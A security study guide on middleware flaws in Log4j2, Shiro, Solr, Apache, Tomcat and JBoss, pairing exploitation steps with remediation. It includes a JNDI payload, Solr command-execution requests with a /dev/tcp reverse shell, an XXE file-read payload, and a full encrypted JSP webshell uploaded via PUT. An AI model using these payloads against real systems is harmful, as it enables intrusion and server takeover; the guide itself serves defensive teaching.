Middleware and Component Vulnerabilities

Middleware, in simple terms, is the "software glue" or "translator" that sits between the operating system (the bottom layer) and business applications (the top layer). It abstracts away the complexity of the underlying technology, allowing developers to focus on business logic.

• Decoupling: Think of it as a "post office" — it handles sending, receiving, routing, and transforming "letters" between different systems, so that System A can send a message without worrying whether System B is online.
• Reusability: It provides common capabilities (e.g., authentication, logging, rate limiting) so that every project doesn't have to "reinvent the wheel."
• Support: It does not generate business data itself, but it ensures that massive volumes of data flow between different services efficiently and reliably.

Based on their use cases, common types of middleware include:

• Message Middleware: Specializes in handling system congestion under high concurrency — smoothing out traffic peaks and valleys. Key players: RocketMQ, Kafka, RabbitMQ.
• RPC (Remote Procedure Call) Middleware: Solves cross-network communication between microservices. Key players: Dubbo, gRPC.
• Data Access / Caching Middleware: Absorbs database read pressure through high-speed caching. Key players: Redis, Memcached.
• Web Servers / Gateways: Responsible for request routing, load balancing, and security protection. Key players: Nginx, Tomcat, Spring Cloud Gateway, IIS, Apache.

I. Apache

1.1 RCE — Remote Code Execution Vulnerabilities

1.1.1 Log4j2 Remote Code Execution Vulnerability (December 2021)

1.1.1.1 How It Works

• The trigger condition for this vulnerability is simple: as long as data supplied by an external user gets logged, it can lead to remote code execution.
• The Log4j2 deserialization vulnerability is primarily caused by JNDI injection. The JNDI injection flaw mainly resides in two classes: JndiLookup.class and JndiManager.class. Among them, JndiManager.class defines methods like lookup() that handle JNDI-related operations — lookup() accepts a user-supplied JNDI URL as an input parameter and returns the result. An attacker can craft a malicious JNDI URL by combining a JNDI reference with the remote code to be executed, so that when Log4j parses the malicious URL, arbitrary code execution is triggered.
• • JNDI stands for Java Naming and Directory Interface. It is an API (Application Programming Interface) that provides naming and directory access services for Java applications.
  • RMI (Remote Method Invocation) is an object-based distributed programming model in Java. Through the RMI mechanism, a client application can directly call methods exposed by a remote object running on another JVM as if it were a local method call, without needing to understand the details of network programming, machine addresses, or specific transport protocols — making distributed application development much easier.
  • A JNDI URL is a special URL format typically used to access JNDI databases or other external resources. In the Log4j2 vulnerability, an attacker uses a malicious JNDI URL to bind a self-constructed controllable object to a JNDI directory entry, thereby triggering a deserialization vulnerability.
  • • java.comp/env/jdbc/MyDataSource
    • • java: Refers to the Java Naming and Directory Interface (JNDI).
      • comp/env: Refers to the root path for JNDI context lookup — the Context environment.
      • jdbc: Indicates that the target resource type is a JDBC data source.
      • MyDataSource: Represents the JNDI name, i.e., the name of the target resource within JNDI.

1.1.1.2 Vulnerability Verification

VulHub: Locate the injection point on the target range. We can find that /solr/admin/cores? has a parameter that accepts input.

Crafting the Payload:

cores?action=${jndi:idap://${sys.java.version}.i913n8.deye.io}

• Pass a value to the action parameter, where sys.java.version checks the target's Java version.
• deye.io is a DNSLog address — a platform for detecting out-of-band data.

If JNDI injection is present, the LDAP server will execute the payload we uploaded and then leave a record on DNSLog. We can observe that an access record is left and the preceding parameter is executed, with the Java version number echoed back to us.

1.1.1.3 Remediation

• Upgrade Promptly
• • The simplest way to defend against the Log4j2 deserialization vulnerability is to promptly update to an unaffected version.
• Emergency Mitigation Measures
• • Remove the JndiLookup plugin; disabling the JndiLookup plugin can effectively defend against the deserialization vulnerability.
  • Remove JMS support. If the application does not require JMS support, the relevant components can be deleted or disabled to prevent exploitation. Specifically, the log4j-jms-appender-2.x.x.jar can be removed from the application, or JMS-related code can be disabled.

1.1.2 Shiro-721 Critical Code Execution Vulnerability (2021)

1.1.2.1 How It Works

This vulnerability stems from an issue with the rememberMe field in Apache Shiro cookies, which is encrypted using AES-128-CBC mode. An attacker can use a Padding Oracle attack to generate malicious code, construct a crafted rememberMe field, and then replay the request to the website, triggering a deserialization attack that ultimately leads to arbitrary code execution.

1.1.2.2 Affected Versions

1.2.5 <= shiro <= 1.4.2

1.1.2.3 Vulnerability Fingerprint

• set-cookie: rememberMe=deleteMe
• The URL contains the string "shiro".

1.1.2.4 Exploitation Tips

• This vulnerability requires logging in to obtain a valid cookie.
• The rememberMe=XXX value must be obtained before exploitation can proceed. While this may seem difficult to exploit at first glance, some websites actually allow open registration, and this vulnerability does not require knowledge of the server-side key. Therefore, subsequent exploitation can follow the same approach as Shiro-550. Moreover, since the encryption here is AES, it comes with built-in WAF evasion properties.
• If the attack does not succeed, try deleting the JSESSIONID field from the cookie. In many cases, when this field is present, the server will not process rememberMe.

1.1.2.5 Mitigation

• Upgrade the Shiro version.
• Change the hardcoded key in the configuration file.
• Temporary Defensive Recommendations
• • Configure security devices to attempt to intercept brute-force traffic and promptly block attackers from carrying out exploratory attacks.
  • Upgrade the corresponding JDK version to 8u191 / 7u201 / 6u211 / 11.0.1 or above.
  • Use the WAF to block overly long rememberMe values in cookies.
  • Use the WAF to block IPs that make excessively frequent requests, as this vulnerability requires brute-forcing the cookie.

1.1.3 Solr Remote Code Execution Vulnerability

1.1.3.1 Remote Command Execution (RCE)

1.1.3.1.1 Overview

Solr is a high-performance, full-text search server built on Lucene and developed using Java 5. It is a standalone, enterprise-grade search application server adopted by many organizations as an open-source service. The basic principle involves indexing documents via HTTP using XML into a search collection. Querying that collection is also done over HTTP, returning an XML/JSON response. Key features include efficient and flexible caching, vertical (faceted) search, hit highlighting, index replication for high availability, a powerful Data Schema system for defining fields, types, and text analysis, and a web-based administration interface.

1.1.3.1.2 Vulnerability Details

CVE-2017-12629: In versions of Apache Solr prior to 7.1 and Apache Lucene prior to 7.1, remote code execution is possible by leveraging XXE and using the Config API add-listener command to access the RunExecutableListener class. Although Elasticsearch uses Lucene, it is not susceptible to this issue. Note that an XML External Entity expansion vulnerability exists in the XML Query Parser, which by default can be exploited on any query request using the parameter deftype=xmlparser. This can be used to upload malicious data to the /upload request handler or, as a blind XXE, to read arbitrary local files from the Solr server using the FTP wrapper. Also note that a second vulnerability relates to remote code execution via the RunExecutableListener, which is available on all affected Solr versions.

1.1.3.1.3 Affected Versions

Apache Solr versions prior to 7.1.0

1.1.3.1.4 Exploitation

• Command Execution
• • Create a new listener and pass the "exe", "dir", and "args" content via HTTP.

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}

• • Perform an update operation by modifying the POST request to trigger the preceding command.

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

• Reverse shell (same as above, only the command being passed differs).

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}} 

1.1.3.1.5 Remediation

• Upgrade to a higher version.
• Add Solr access controls, including prohibiting direct unauthorized local access.
• Modify the relevant Java source files.

1.1.3.2 Remote Command Execution via XXE (CVE-2017-12629)

1.1.3.2.1 Vulnerability Details

In versions of Apache Solr prior to 7.1 and Apache Lucene prior to 7.1, remote code execution is possible by leveraging XXE and using the Config API add-listener command to access the RunExecutableListener class. Although Elasticsearch uses Lucene, it is not susceptible to this issue. Note that an XML External Entity expansion vulnerability exists in the XML Query Parser, which by default can be exploited on any query request using the parameter deftype=xmlparser. This can be used to upload malicious data to the /upload request handler or, as a blind XXE, to read arbitrary local files from the Solr server using the FTP wrapper. Also note that a second vulnerability relates to remote code execution via the RunExecutableListener, which is available on all affected Solr versions.

1.1.3.2.2 Affected Versions

Apache Solr versions prior to 7.1.0

1.1.3.2.3 Exploitation

• Create a .dtd file under the web root of another server.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

• After constructing the payload, URL-encode any special characters.

<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://x.x.x.x/x.dtd">%ext;%ent;
]>
<r>&data;</r>
&wt=xml&defType=xmlparser

• Final payload

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

1.1.3.2.4 Remediation

• Upgrade to a higher version.
• Add Solr access controls, including prohibiting direct unauthorized local access.
• Modify the relevant Java source files.

1.1.3.3 Unauthorized Upload (CVE-2020-13957)

1.1.3.3.1 Vulnerability Details

In certain versions of Solr, the ConfigSet API contains an unauthorized upload vulnerability that an attacker can exploit to achieve remote code execution. The full exploitation chain: upload a configset → upload another configset based on the first (bypassing authentication checks) → create a collection using the new configset → achieve RCE via the Solr Velocity template.

1.1.3.3.2 Affected Versions

• Apache Solr 6.6.0 – 6.6.5
• Apache Solr 7.0.0 – 7.7.3
• Apache Solr 8.0.0 – 8.6.2

1.1.3.2.3 Remediation

Upgrade to Apache Solr 8.6.2 or higher.

1.2 Deserialization Vulnerabilities

1.2.1 Shiro-550 Java Deserialization Vulnerability (2020)

1.2.1.1 Attack Signature

The Set-Cookie header in the response contains the field rememberMe=deleteMe

1.2.1.2 Affected Versions

Apache Shiro <= 1.2.4 is vulnerable

1.2.1.3 Vulnerability Principle

• The vulnerability exploits the rememberMe parameter in the cookie. This parameter value is AES-encrypted, then Base64-encoded before being placed in the cookie. On the server side, when processing the rememberMe cookie value, it should first be Base64-decoded, then AES-decrypted, and finally deserialized.
• `The crux of the problem is` that the AES encryption key is hardcoded right in the source code. Since AES is symmetric encryption, the encryption key and decryption key are the same. Once an attacker obtains the AES key, they can craft a malicious object, serialize it, AES-encrypt it, Base64-encode it, and then send it as the rememberMe cookie field. Shiro will decrypt and deserialize it, ultimately leading to a deserialization vulnerability.

1.2.1.4 Mitigation

• Upgrade the Shiro version
• Change the hardcoded key in the source files
• Temporary preventive measures:
• • a. Configure security devices to intercept brute-force traffic and promptly block attackers from conducting probing attacks
  • b. Upgrade the corresponding JDK version to 8u191/7u201/6u211/11.0.1 or higher
  • c. Use WAF to block excessively long rememberMe values in cookies
  • d. Use WAF to block IPs with abnormally high request frequency, since this vulnerability requires brute-forcing the cookie

1.3 Parsing Vulnerabilities

1.3.1 Vulnerability Cause

• By default, Apache allows a file to have multiple dot-separated extensions. When the rightmost extension is unrecognized (not listed in mime.types), it continues parsing to the left.

1.3.2 Exploitation

• Can be used for file upload bypass, e.g., test.php.asd.dfs

1.3.3 Remediation

• Remove the configuration line AddHandler application/x-httpd-php .php

1.4 Directory Traversal

1.4.1 Vulnerability Cause

• Directory traversal caused by misconfiguration

1.4.1 Exploitation Method

• Similar to arbitrary file download — simply use ../../ on the vulnerable parameter

1.4.1 Remediation

• Edit the Apache configuration file httpd.conf, locate the following content, and change the + after Options to a -: change `Options+Indexes+FollowSymlinks+ExecCGI` to `Options-Indexes+FollowSymlinks+ExecCGI` and save.

2. Tomcat

2.1 Introduction to Tomcat

Tomcat is a Servlet container developed by the Jakarta project under the Apache Software Foundation. Following the technical specifications provided by Sun Microsystems, it implements support for Servlets and JavaServer Pages (JSP), and offers unique features as a web server, such as the Tomcat management and control platform, security realm management, and Tomcat valves. Since Tomcat itself includes an embedded HTTP server, it can also be regarded as a standalone web server.

Important files:

• server.xml — Configures the port number for Tomcat startup, the host, Context, and other settings.
• web.xml — The deployment descriptor file, which defines some default servlets.
• tomcat-users.xml — Stores Tomcat user credentials and permissions.

2.2 Arbitrary File Write Vulnerability

2.2.1 Vulnerability Details

• The root cause of this vulnerability is that Tomcat is configured as writable (readonly=false), allowing an attacker to write files to the server.
• Although Tomcat performs some checks on file extensions (directly writing JSP files is not allowed), attackers can exploit certain file system features (such as using "/" on Linux) to bypass these restrictions.

2.2.2 Affected Versions

• Tomcat 7.0.0 – 7.0.79

2.2.3 Exploitation

• Visit the target website, capture the request using Burp Suite, and modify it into the payload shown below.

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
 
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String 
k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码
rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new 
SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal
s(pageContext);}%>

• Send the request using the Repeater module.
• Directly navigate to the path where the JSP webshell was uploaded to verify whether the upload succeeded.
• • http://ip:port/1.jsp
• Then connect using Behinder (冰蝎).

2.3 AJP File Inclusion Vulnerability (CVE-2020-1938)

2.3.1 Vulnerability Details

• Due to a design flaw in the Tomcat AJP protocol, an attacker can read or include arbitrary files from all webapp directories on the Tomcat server via the Tomcat AJP Connector — for example, reading webapp configuration files or source code. Furthermore, if the target application has a file upload feature, combining this with file inclusion can lead to remote code execution.

2.3.2 Affected Versions

• Apache Tomcat 9.x < 9.0.31
• Apache Tomcat 8.x < 8.5.51
• Apache Tomcat 7.x < 7.0.100
• Apache Tomcat 6.x

2.3.3 Exploitation

• Use a script to read the source code of the target website's web.xml.
• Run the command: python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.31.128

2.4 Weak Password / WAR File Upload

2.4.1 Vulnerability Details

Tomcat supports deploying WAR files from the management backend, allowing an attacker to drop a webshell directly into the web directory. Accessing the backend, however, requires that the user holds the appropriate permissions.

2.4.2 Affected Versions

• Tomcat 8.x
• Tomcat 7.x

2.4.3 Exploitation

• Tomcat Permission Management
• • Backend Management Permissions
  • • manager-gui — grants access to the HTML interface
    • manager-status — grants access to view server status
    • manager-script — grants access to the text API and status
    • manager-jmx — grants JMX access and status
  • Virtual Host Management
  • • admin-gui — grants access to the HTML interface
    • admin-script — grants access to the text API
  • User permissions are configured in conf/tomcat-users.xml
• Use weak credentials (e.g., tomcat/tomcat) to log into the Manager APP.
• Once logged in, upload a WAR package via the "War file to deploy" section. Tomcat will automatically unpack it into the web directory. Avoid naming the package something obvious like "shell" or "getshell", as those names are often filtered.
• • Creating a WAR package: jar cvf pass.war pass.jsp
• Access path
• • http://ip:8080/pass/pass.jsp
• Connect using Behinder.

III. JBoss

3.1 JBoss Deserialization

Use the downloaded tool for detection: java -jar DeserializeExploit.jar

3.1.1 JBoss 5.x/6.x Deserialization Vulnerability (CVE-2017-12149)

3.1.1.1 Principle

The ReadOnlyAccessFilter in JBoss's HttpInvoker component deserializes the data stream from the client without performing any security checks.

3.1.1.2 Access URL

http://192.168.1.102:8080/ and http://192.168.1.102:8080/invoker/readonly — a 500 response indicates the vulnerability exists.

3.1.1.3 Download the exploitation tool to get a reverse shell:

http://scan.javasec.cn/java/JavaDeserH2HC.zip

3.1.2 JBoss 4.x JBossMQ JMS Deserialization Vulnerability (CVE-2017-7504)

• Principle: The root cause is that the ObjectInputStream class does not restrict the types of objects being created during deserialization.
• Again, use the tool to get a reverse shell.

3.1.3 JBoss Remote Deployment Vulnerability

• Principle: The backend does not apply strict filtering to user-controllable parameters.
• Impact: This leads to arbitrary command execution. An attacker can exploit this vulnerability to directly obtain a webshell and subsequently take full control of the server.